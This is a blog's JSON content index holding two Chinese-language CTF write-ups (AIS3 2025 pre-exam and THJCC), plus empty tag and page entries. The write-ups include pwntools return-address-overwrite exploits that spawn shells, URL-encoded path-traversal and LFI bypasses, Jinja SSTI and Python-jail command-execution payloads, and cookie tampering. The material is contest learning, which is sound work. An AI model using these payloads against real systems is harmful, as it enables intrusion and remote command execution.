[{"content":" 2025 ais3 pre-exam write-up # result: 這次解的題目最後全變 100 分 QAQ\n題目都忘記截圖只能看解法猜題目 ╯︿╰\nlogin screen 1 # 於 login page 嘗試弱密碼 admin/admin 成功登入 觀察 dockr-compose.yml 發現 db 可以訪問 下載 db 找到 2fa code 成功登入取得 flag\ntomorin db # 直接進入 /flag 會被 redirect\n將/ URL encode 成功 bypass，進入 chals1.ais3.org:30000/..%2fflag 取得 flag\nWelcome to the World of Ave Mujica # 動態分析發現可以 burrfer overflow 丟進 ida 發現 0x401256 有一個 shell 使用 cyclic 計算 offset 將 return address 覆蓋為 0x4012D6 取得 shell import pwn host = \u0026#34;chals1.ais3.org\u0026#34; port = 60122 conn = pwn.remote(host, port) # conn = pwn.gdb.debug(\u0026#34;./chal\u0026#34;, env={\u0026#34;LD_PRELOAD\u0026#34;: \u0026#34;./libc.so.6\u0026#34;}) conn.recvuntil(b\u0026#39;?\u0026#39;) conn.sendline(b\u0026#39;yes\u0026#39;) conn.recvuntil(b\u0026#39;: \u0026#39;) conn.sendline(b\u0026#39;-1\u0026#39;) conn.recvuntil(b\u0026#39;: \u0026#39;) g = pwn.cyclic_gen() conn.sendline(g.get(168) + pwn.p64(0x4012D6)) Raman CTF # 掃描發票上 qrcode 將發票號碼填入發票 app 取得發票資訊，再使用 google map 搜尋地址取得 flag\nAIS3 Tiny Server - Web / Misc # 題目提到 root directory 嘗試進入 chals1.ais3.org:20616// 成功 LFI 訪問根目錄取得 flag 取得flag\nWelcome # 沒辦法直接複製，直接打，懶得找其他方法。 Stream # 可以暴力遍歷 a 檢查 b 是否為完全平方數得到每輪使用的隨機數，因為 getrandbits() 使用 mt19937 ，只要取得 634*32bits 的已知隨機數可以預測後續生成之隨機數。\nfrom random import getrandbits from hashlib import sha512 import gmpy2 from pyrandcracker import RandCracker def rev(a: bytes, b: int): return int.from_bytes(a) ^ b craker = RandCracker() randbyte = [] for i in l: for j in range(256): r = rev(sha512(j.to_bytes()).digest(), i) if gmpy2.is_square(r): craker.submit(gmpy2.isqrt(r), 256) craker.check() print((l[80]^craker.rnd.getrandbits(256)**2).to_bytes(32, \u0026#39;big\u0026#39;)) 執行腳本取得 flag AIS3 Tiny Server - Reverse # 丟進 IDA 可以看到 sub_1E20() 這個 function 會檢查 flag\n撰寫腳本還原 flag\nimport struct def extract_flag(): encrypted_data = [ 1480073267, 1197221906, 254628393, 920154, 1343445007, 874076697, 1127428440, 1510228243, 743978009, 54940467, 1246382110 ] encrypted_bytes = [] for num in encrypted_data: bytes_from_int = struct.pack(\u0026#39;\u0026lt;I\u0026#39;, num) encrypted_bytes.extend(bytes_from_int) # The XOR key from v7 key = b\u0026#34;rikki_l0v3\u0026#34; encrypted_bytes.append(20) decrypted = bytearray(45) v2 = 51 v3 = 114 for i in range(45): decrypted[i] = v2 ^ v3 if i + 1 \u0026lt; 45: v2 = encrypted_bytes[i + 1] v3 = key[(i + 1) % len(key)] flag = decrypted.decode(\u0026#39;ascii\u0026#39;, errors=\u0026#39;ignore\u0026#39;).rstrip(\u0026#39;\\x00\u0026#39;) return flag if __name__ == \u0026#34;__main__\u0026#34;: flag = extract_flag() print(f\u0026#34;flag: {flag}\u0026#34;) 取得flag A simple snake game # 丟 IDA 逆向找到有一個檢查分數和關卡的地方 patch 成 jg 跳過檢查 進入遊戲取得 flag web flag checker # 從 source 可以看到 wasm 有一個函式叫 flag checker 丟給 claude 幫忙 reverse 並撰寫腳本\nimport struct def ror64(value, shift): \u0026#34;\u0026#34;\u0026#34;64-bit right rotation (inverse of left rotation)\u0026#34;\u0026#34;\u0026#34; value \u0026amp;= 0xFFFFFFFFFFFFFFFF shift \u0026amp;= 63 return ((value \u0026gt;\u0026gt; shift) | (value \u0026lt;\u0026lt; (64 - shift))) \u0026amp; 0xFFFFFFFFFFFFFFFF def solve_flag_properly(): expected_encrypted = [ 7577352992956835434, # Chunk 0: \u0026#34;AIS3{W4S\u0026#34; with ROR 45 7148661717033493303, # Chunk 1: \u0026#34;M_R3v3rs\u0026#34; with ROR 28 (-7081446828746089091) \u0026amp; 0xFFFFFFFFFFFFFFFF, # Chunk 2: needs brute force (-7479441386887439825) \u0026amp; 0xFFFFFFFFFFFFFFFF, # Chunk 3: needs brute force 8046961146294847270 # Chunk 4: \u0026#34;39229dd}\u0026#34; with ROR 61 ] for i in range (5): print(f\u0026#34;\\n--- Finding Chunk {i} ---\u0026#34;) encrypted2 = expected_encrypted[i] best_chunk2_candidates = [] for key in range(64): decrypted = ror64(encrypted2, key) try: bytes_data = struct.pack(\u0026#39;\u0026lt;Q\u0026#39;, decrypted) text = bytes_data.decode(\u0026#39;ascii\u0026#39;, errors=\u0026#39;replace\u0026#39;) printable_count = sum(1 for c in text if c.isprintable() and c != \u0026#39;�\u0026#39;) if printable_count \u0026gt;= 6: best_chunk2_candidates.append((key, bytes_data, text, printable_count)) except: continue for key, data, text, score in best_chunk2_candidates[:10]: print(f\u0026#34; Key {key:2d}: {text}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: solve_flag_properly() 組合 flag 得到 AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}\n","date":"25 July 2025","externalUrl":null,"permalink":"/posts/1753445505053-ais32025write-up/","section":"Posts","summary":"","title":"2025 ais3 pre-exam write up","type":"posts"},{"content":"","date":"25 July 2025","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":"","date":"25 July 2025","externalUrl":null,"permalink":"/tags/example/","section":"Tags","summary":"","title":"Example","type":"tags"},{"content":"","date":"25 July 2025","externalUrl":null,"permalink":"/","section":"haoching's site","summary":"","title":"haoching's site","type":"page"},{"content":"","date":"25 July 2025","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"25 July 2025","externalUrl":null,"permalink":"/tags/tag/","section":"Tags","summary":"","title":"Tag","type":"tags"},{"content":"","date":"25 July 2025","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" THJCC writeup # 答題數24/34\n[toc]\nBaby C # 把 a[] 全部再 xor 一次 120 得到 flag\nPYC REVERSE # 用 online tool reverse 得到程式碼發現會執行 xor1234 再 xor 回去就會得到 flag\nbaseball # 0010172a 75 0c JNZ LAB_00101738 0010172c b8 00 00 MOV EAX,0x0 00 00 00101731 e8 0c fd CALL miss ff ff 00101736 eb 0a JMP LAB_00101742 decompile 後把 0x10172a 的 jnz 改成 jz 進入 miss 取得 flag\nNot Apple # decompil 然後直接找 THJCC 找到\npublic String flag() { return \u0026#34;THJCC{l4zy_@string/real_flag==}\u0026#34;; } 再找到 real_flag 把 @string/real_flag 換掉\nnc # 連上去然後回答 Rick Astley 取得 flag\nNPSC # $O(n^2)$ 硬炸不知道為什麼沒 $TLE$ 就拿到 flag 了\nfrom pwn import * def max_score(balls): max_score = 0 for i in range(len(balls)): score = balls[i] for j in range(i+1, len(balls)): if score \u0026gt;= balls[j]: score += balls[j] else: break max_score = max(max_score, score) return max_score host = \u0026#34;23.146.248.36\u0026#34; port = 30003 conn = remote(host, port) conn.recvuntil(b\u0026#39;=============== ROUND 1 ===============\\n\u0026#39;) for i in range(32): s = conn.recvline().decode() if \u0026#39;ROUND\u0026#39; in s: continue s = eval(s) print(max_score(s)) conn.sendline(str(max_score(s)).encode()) print(conn.recvline()) print(\u0026#39;-------------------\u0026#39;) conn.interactive() Ret2func # 用 ghidra 看到 win 函式裡面會 call system(\u0026ldquo;sh\u0026rdquo;) 用 buffer overflow 直接把 return address 蓋成 0x401216 會遇到對齊的問題所以在前面加一個 ret。\nfrom pwn import * p= remote(\u0026#39;172.104.114.9\u0026#39;, 30004) win = 0x401216 retaddr = 0x40101a buf = b\u0026#39;A\u0026#39;*48 + b\u0026#39;B\u0026#39;*8 + p64(retaddr) + p64(win) p.sendlineafter(b\u0026#39;if you want\u0026#39;,b\u0026#39;y\u0026#39;) p.sendline(buf) p.interactive() 博元婦產科 # 用 base64 decode 然後發現是 Rot7 取得 flag\nbaby RSA # 發現 e 很小所以直接開三方\nfrom gmpy2 import * from Crypto.Util.number import * n=82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939 e=3 c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157 flag = iroot(c , 3)[0] print(long_to_bytes(flag).decode()) JPG^PNG=? # png 的前 7 byte 是固定的\nfrom itertools import cycle def xor(a, b): return [i^j for i, j in zip(a, cycle(b))] KEY= open(\u0026#34;a.png\u0026#34;, \u0026#34;rb\u0026#34;).read() FLAG = open(\u0026#34;enc.txt\u0026#34;, \u0026#34;rb\u0026#34;).read() key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]] enc = bytearray(xor(FLAG,key)) open(\u0026#39;flag.jpg\u0026#39;, \u0026#39;wb\u0026#39;).write(enc) SSS.GRIDMAN # poly() 是一個一元二次函數 secret 是常數項 題目給了三點解一下就可以求出 secret\niRSA # 用 factordb 可以分解 N 再把 Int_to_Complex() 反著用出 Complex_to_Int() 就可以拿到 flag\nfrom Crypto.Util.number import * from collections import namedtuple # define complex number Complex=namedtuple(\u0026#34;Complex\u0026#34;, \u0026#34;r c\u0026#34;) # define complex multiplication def Complex_Mul(P, Q): R=P.r*Q.r-P.c*Q.c C=P.r*Q.c+Q.r*P.c return Complex(R, C) # define how to turn message into complex number def Int_to_Complex(x): R=0 C=0 cnt=0 while(x\u0026gt;0): if(cnt%2==0): R+=(x%2)\u0026lt;\u0026lt;cnt else: C+=(x%2)\u0026lt;\u0026lt;cnt x\u0026gt;\u0026gt;=1 cnt+=1 return Complex(R, C) def Complex_to_Int(x): R = x.r C = x.c ret = 0 for i in range(max(R.bit_length(),C.bit_length())): if i % 2 == 0: ret |= ((R \u0026gt;\u0026gt; i) \u0026amp; 1) \u0026lt;\u0026lt; i else: ret |= ((C \u0026gt;\u0026gt; i) \u0026amp; 1) \u0026lt;\u0026lt; i return ret C=Complex(r=11180409569983135167870808350941041186679170032093322670886535621583215684643439433171870814076780522535389424356663422589579511334717331883341071371926332,c=36539634424149210411782026672623223569184603415102598458770146358389114657393818955768684304871559745898404778972824982800749363800263199954364462993005556) p = 101215468079183132064927386006997214816266070286653603581590482424957134728767 q = 115354037749818467787883117855058744112232663945914692321109944593585909198619 P=Complex(p, 2*q) Q=Complex(q, 2*p) N=Complex_Mul(P, Q) #-3p.r*q.r , 2p^2 + 2 q^2 phi = 2 * (p-1) * (q-1) a = pow(C.r,inverse(65537,phi),N.r*-1) phi = 4*4*1360*106656*(1670005938833-1)*(32726924786681765694913405433-1)*(59370533326452572495738825802114715310690270185635375950358473694250436475299292366869808483485927589533-1) b = pow(C.c,inverse(65537,phi),N.c) ans = Complex(a,b) print(long_to_bytes(Complex_to_Int(ans))) Empty # 用開發者工具看到 cookie 裡有 flag1 然後 html 裡有一段被註解的路徑進入取得 flag2\nBlog # 通靈看到密碼是 iloveshark\nSimplify # 登進去把 cookie 裡的 username 改成 admin 題目提示是 ssti 上網找 payload {{ cycler.__init__.__globals__.os.popen('ls').read() }} {{ cycler.__init__.__globals__.os.popen('cat flag').read() }}\n原神帳號外流 # 用 wireshark 過濾 http.request.uri==\u0026quot;/login\u0026quot; 找到裡面沒登入失敗的那組帳密登進去\nPyJail-0 # 看程式碼使用了 eval() 上網找 payload __import__('os').system('ls') 取得 flag\nGeoguesser??? # 找圖片上的電話找到補習班用 google map 找到位置然後開始通靈找 flag\nI want to go to Japan # google 找　湯の川　聖羅　找到湯倉神社\n出題者大合照 # 用 steghide 找到裡面藏的 flag.txt\nPyJail-1 # 先用 eval(input()) 然後 __import__('os').system('ls') 取得 shell\nEvil Form # 從 script 可以找到三段 flag flag2 用 rot47 decode\n提示的 history 拼錯我還以為那是什麼特別的東西==\nWelcome # tag 和 rule 裡面有藏 flag\nDiscord # 機器人身份組、指令、badge 都有藏 flag\n","date":"25 July 2025","externalUrl":null,"permalink":"/posts/1753471431157-thjcc-ctf/","section":"Posts","summary":"","title":"thjcc-ctf","type":"posts"},{"content":"","date":"25 July 2025","externalUrl":null,"permalink":"/tags/writeups/","section":"Tags","summary":"","title":"Writeups","type":"tags"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]